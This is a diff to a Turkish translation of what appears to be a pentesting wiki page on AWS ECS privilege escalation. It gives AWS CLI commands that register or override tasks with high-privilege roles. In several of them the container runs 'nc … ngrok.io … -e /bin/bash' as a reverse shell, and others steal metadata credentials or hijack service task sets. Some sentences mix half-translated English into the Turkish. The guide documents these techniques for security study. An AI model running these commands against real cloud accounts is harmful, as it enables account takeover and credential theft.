Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
|
Before Width: | Height: | Size: 24 KiB |
|
Before Width: | Height: | Size: 42 KiB |
|
Before Width: | Height: | Size: 80 KiB |
|
Before Width: | Height: | Size: 856 KiB |
|
Before Width: | Height: | Size: 326 KiB |
|
Before Width: | Height: | Size: 159 KiB |
|
Before Width: | Height: | Size: 71 KiB |
|
Before Width: | Height: | Size: 774 KiB |
|
Before Width: | Height: | Size: 198 KiB |
|
Before Width: | Height: | Size: 865 KiB |
|
Before Width: | Height: | Size: 736 KiB |
|
Before Width: | Height: | Size: 490 KiB |
|
Before Width: | Height: | Size: 153 KiB |
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Daha fazla **ECS hakkında bilgi** için:
|
||||
ECS hakkında daha fazla **bilgi** için:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Daha fazla **ECS hakkında bilgi** için:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
`iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, **metadata kimlik bilgilerini çalan** **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** **oluşturabilir** ve **çalıştırabilir**.
|
||||
ECS'te `iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan **zararlı container** içeren **yeni bir task definition** oluşturup bunu **çalıştırabilir**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
webhook.site gibi bir site ile bir webhook oluşturun
|
||||
webhook oluşturmak için webhook.site gibi bir site kullanın
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Olası Etki:** Farklı bir ECS rolüne doğrudan yetki yükseltme.
|
||||
**Potential Impact:** Doğrudan farklı bir ECS role privesc.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Bir saldırgan `iam:PassRole` ve `ecs:RunTask` izinlerine sahipse, değiştirilmiş **execution role**, **task role** ve konteynerin **command** değerleriyle yeni bir ECS task başlatabilir. `ecs run-task` CLI komutu `--overrides` bayrağını içerir; bu bayrak, task definition'ı değiştirmeden çalışma zamanında `executionRoleArn`, `taskRoleArn` ve konteynerin `command` değerlerini değiştirmeye izin verir.
|
||||
|
||||
Belirtilen IAM rollerinin `taskRoleArn` ve `executionRoleArn` için trust policy'sinde `ecs-tasks.amazonaws.com` tarafından üstlenilmesine izin vermesi gerekir.
|
||||
|
||||
Ayrıca, saldırganın bilmesi gerekenler:
|
||||
- ECS cluster adı
|
||||
- VPC Subnet
|
||||
- Security group (Eğer security group belirtilmezse varsayılan olan kullanılacaktır)
|
||||
- Task Definition adı ve revizyonu
|
||||
- Konteynerin adı
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
|
||||
--task-definition <task-definition:revision> \
|
||||
--overrides '
|
||||
{
|
||||
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
|
||||
"containerOverrides": [
|
||||
{
|
||||
"name": <container-name>,
|
||||
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
Yukarıdaki kod kesitinde bir saldırgan yalnızca `taskRoleArn` değerini geçersiz kılıyor. Ancak, saldırının gerçekleşmesi için saldırganın komutta belirtilen `taskRoleArn` ve task tanımında belirtilen `executionRoleArn` üzerinde `iam:PassRole` iznine sahip olması gerekir.
|
||||
|
||||
Eğer saldırganın pass edebildiği IAM rolünün ECR imajını çekmek ve ECS task'ını başlatmak için yeterli ayrıcalıkları varsa (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) saldırgan `ecs run-task` komutunda hem `executionRoleArn` hem de `taskRoleArn` için aynı IAM rolünü belirtebilir.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
|
||||
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
|
||||
"containerOverrides": [
|
||||
{
|
||||
"name": "<container-name>",
|
||||
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Olası Etki:** Herhangi bir ECS task role'a doğrudan privesc.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
|
||||
Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir.
|
||||
Önceki örnekte olduğu gibi, bir saldırgan ECS'deki **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak metadata kimlik bilgilerini çalan bir **kötü amaçlı container** içeren yeni bir task definition **oluşturabilir** ve **çalıştırabilir**.\
|
||||
Ancak, bu durumda kötü amaçlı task definition'ı çalıştırmak için bir container instance'ın bulunması gerekir.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki artırma.
|
||||
**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **en az 1 görev çalıştırarak yeni bir hizmet oluşturarak bunu çalıştırabilir.**
|
||||
Önceki örnekte olduğu gibi, ECS'de **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan **zararlı bir container** içeren **yeni bir task definition** oluşturabilir ve **bunu en az 1 task çalışacak şekilde yeni bir service oluşturarak çalıştırabilir.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Olası Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme.
|
||||
**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Aslında, bu izinlerle, bir konteynerde rastgele bir rol ile rastgele komutlar çalıştırmak için geçersiz kılmalar kullanmak mümkündür:
|
||||
Aslında, sadece bu izinlerle overrides kullanarak herhangi bir role sahip bir container içinde rastgele komutları çalıştırmak mümkün; şöyle bir şeyle:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -139,12 +185,12 @@ aws ecs run-task \
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Bu senaryo, önceki senaryolar gibidir ancak **`iam:PassRole`** izni **olmaksızın**.\
|
||||
Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
|
||||
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
|
||||
Bu senaryo önceki olanlara benzer fakat **`iam:PassRole`** izni **olmaksızın**.\
|
||||
Bu hâlâ ilginç çünkü role sahip olmasa bile rastgele bir container çalıştırabiliyorsanız, **run a privileged container to escape** yaparak node'a ulaşabilir ve **steal the EC2 IAM role** ile node üzerinde çalışan **other ECS containers roles**'ı çalabilirsiniz.\
|
||||
Hatta ele geçirdiğiniz EC2 instance içinde diğer görevleri çalıştırmaya **force other tasks to run inside the EC2 instance** zorlayarak onların kimlik bilgilerini çalabilirsiniz (detaylar [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) kısmında tartışıldığı gibi).
|
||||
|
||||
> [!WARNING]
|
||||
> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil.
|
||||
> Bu saldırı yalnızca **ECS cluster is using EC2** instance'ları kullanıyorsa ve Fargate değilse mümkündür.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** yetkisine sahip bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
|
||||
Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir).
|
||||
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** izinlerine sahip bir saldırgan, çalışan bir konteyner içinde **komut çalıştırabilir** ve ona bağlı IAM rolünü exfiltrate edebilir (bunu yapmak için `aws ecs execute-command` komutunu çalıştırmak gerektiğinden describe izinlerine ihtiyaç vardır).\
|
||||
Ancak bunu yapabilmek için konteyner örneğinin **ExecuteCommand agent**'ı çalıştırıyor olması gerekir (varsayılan olarak çalışmaz).
|
||||
|
||||
Bu nedenle, saldırgan şunları denemek isteyebilir:
|
||||
Bu nedenle saldırgan şunları deneyebilir:
|
||||
|
||||
- **Her çalışan konteynerde bir komut çalıştırmayı deneyin**
|
||||
- **Her çalışan konteynerde bir komut çalıştırmayı denemek**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Eğer **`ecs:RunTask`** iznine sahipse, bir görevi `aws ecs run-task --enable-execute-command [...]` ile çalıştırın.
|
||||
- Eğer **`ecs:StartTask`** iznine sahipse, bir görevi `aws ecs start-task --enable-execute-command [...]` ile çalıştırın.
|
||||
- Eğer **`ecs:CreateService`** iznine sahipse, bir hizmet oluşturun `aws ecs create-service --enable-execute-command [...]` ile.
|
||||
- Eğer **`ecs:UpdateService`** iznine sahipse, bir hizmeti `aws ecs update-service --enable-execute-command [...]` ile güncelleyin.
|
||||
- Eğer yetkide **`ecs:RunTask`** varsa, `aws ecs run-task --enable-execute-command [...]` ile bir task çalıştırın.
|
||||
- Eğer yetkide **`ecs:StartTask`** varsa, `aws ecs start-task --enable-execute-command [...]` ile bir task çalıştırın.
|
||||
- Eğer yetkide **`ecs:CreateService`** varsa, `aws ecs create-service --enable-execute-command [...]` ile bir service oluşturun.
|
||||
- Eğer yetkide **`ecs:UpdateService`** varsa, `aws ecs update-service --enable-execute-command [...]` ile bir service güncelleyin.
|
||||
|
||||
Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz.
|
||||
Bu seçeneklere ait **örnekleri** önceki **ECS privesc bölümlerinde** bulabilirsiniz.
|
||||
|
||||
**Olası Etki:** Farklı bir role geçiş yapma, konteynerlere bağlı.
|
||||
**Potansiyel Etki:** containers'a bağlı farklı bir role Privesc.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Bu izni nasıl kötüye kullanabileceğinizi **ssm privesc sayfasında** kontrol edin ve **ECS'ye geçiş yapın**:
|
||||
**ssm privesc page** üzerinde bu izni nasıl kötüye kullanarak **privesc to ECS** yapabileceğinizi kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Bu izinleri nasıl kötüye kullanabileceğinizi **ec2 privesc sayfasında** kontrol edin ve **ECS'ye geçiş yapın**:
|
||||
**ec2 privesc page** üzerinde bu izinleri nasıl kötüye kullanarak **privesc to ECS** yapabileceğinizi kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `?ecs:RegisterContainerInstance`
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Yapılacak: Farklı bir AWS hesabından bir örneği kaydetmek mümkün mü, böylece görevler saldırgan tarafından kontrol edilen makinelerde çalıştırılabilir mi??
|
||||
Bu izinlere sahip bir saldırgan potansiyel olarak bir EC2 instance'ını bir ECS cluster'ına kaydedebilir ve üzerinde task'lar çalıştırabilir. Bu, saldırganın ECS task'larının bağlamı içinde keyfi kod çalıştırmasına izin verebilir.
|
||||
|
||||
- TODO: Farklı bir AWS hesabından bir instance kaydetmek ve böylece task'ların saldırganın kontrolündeki makineler üzerinde çalıştırılması mümkün mü??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> Yapılacak: Bunu test et
|
||||
> TODO: Bunu test et
|
||||
|
||||
`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` ve `ecs:DescribeTaskSets` izinlerine sahip bir saldırgan, **mevcut bir ECS hizmeti için kötü niyetli bir görev seti oluşturabilir ve birincil görev setini güncelleyebilir**. Bu, saldırgana **hizmet içinde rastgele kod çalıştırma** imkanı tanır.
|
||||
Bu izinlere sahip bir saldırgan **mevcut bir ECS servisi için kötü niyetli bir task set oluşturabilir ve primary task set'i update edebilir**. Bu, saldırganın servis içinde **keyfi kod çalıştırmasına** olanak tanır.
|
||||
```bash
|
||||
bashCopy code# Register a task definition with a reverse shell
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
"family": "malicious-task",
|
||||
"containerDefinitions": [
|
||||
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Olası Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir.
|
||||
**Potential Impact**: Etkilenen hizmette keyfi code yürütülebilir; bu, hizmetin işlevselliğini etkileyebilir veya hassas verilerin exfiltrating yoluyla alınmasına neden olabilir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||